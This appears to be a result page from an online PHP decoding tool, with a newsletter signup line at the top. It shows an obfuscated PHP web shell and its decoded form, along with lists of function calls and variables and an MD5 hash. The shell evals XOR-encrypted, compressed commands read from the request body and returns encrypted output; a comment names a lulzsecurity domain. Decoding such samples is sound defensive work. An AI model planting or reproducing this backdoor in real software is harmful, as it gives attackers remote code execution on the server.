Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $F='contDenDts();@ob_endD_DDclean();$r=@basDe64D_encDode(@x(@DgzcoDmpreDss($o),$kD)..

Decoded Output download


function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$k="106e0f47";$kh="a32b30e97051";$kf="51bcbf1131b2";$p="CzU3qns1lRo7zOSR";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}

Did this file decode correctly?

Original Code

<?php
$F='contDenDts();@ob_endD_DDclean();$r=@basDe64D_encDode(@x(@DgzcoDmpreDss($o),$kD));printDD("$p$kh$r$kf");}';
$d='nput"),$mD)=D=1D) {@ob_start();@eDDval(D@gzuncomprDess(@xD(@basDe64_decoDde($Dm[1]),$k))D);D$o=@ob_gDet_';
$k='k){$c=DsDtrlen($k);$l=stDrlDen($Dt);$o="";fDoDr($i=D0;$i<$l;){for(D$jD=0D;($j<$c&D&$i<$l);D$j++D,$i+D+){';
$c='$k="106De0f47D";$kDh="a32DbD30De97051";$kf="5D1bcDbf1D131b2";$p="CzU3qnDs1lRDoD7zOSR";functioDDn x($t,$D';
$r=str_replace('B','','creBBate_BfuBncBBtion');
$I='$o.=$t{$i}^D$Dk{$j};}}DDreturn $o;}iDf (@pregD_matcDhD(D"/$khD(D.+)$kf/D",@file_gDet_contenDts("pDhp://i';
$S=str_replace('D','',$c.$k.$I.$d.$F);
$Q=$r('',$S);$Q();#slot-gacor[.]lulzsecurity[.]com
?>

Function Calls

preg_match 1
str_replace 2
create_function 1
file_get_contents 1

Variables

$F contDenDts();@ob_endD_DDclean();$r=@basDe64D_encDode(@x(@Dgz..
$I $o.=$t{$i}^D$Dk{$j};}}DDreturn $o;}iDf (@pregD_matcDhD(D"/$k..
$S $k="106e0f47";$kh="a32b30e97051";$kf="51bcbf1131b2";$p="CzU3..
$c $k="106De0f47D";$kDh="a32DbD30De97051";$kf="5D1bcDbf1D131b2"..
$d nput"),$mD)=D=1D) {@ob_start();@eDDval(D@gzuncomprDess(@xD(@..
$k 106e0f47
$p CzU3qns1lRo7zOSR
$r create_function
$kf 51bcbf1131b2
$kh a32b30e97051

Stats

MD5 8e8cc6972b0ac84438b0ab0ef0e8b155
Eval Count 1
Decode Time 263 ms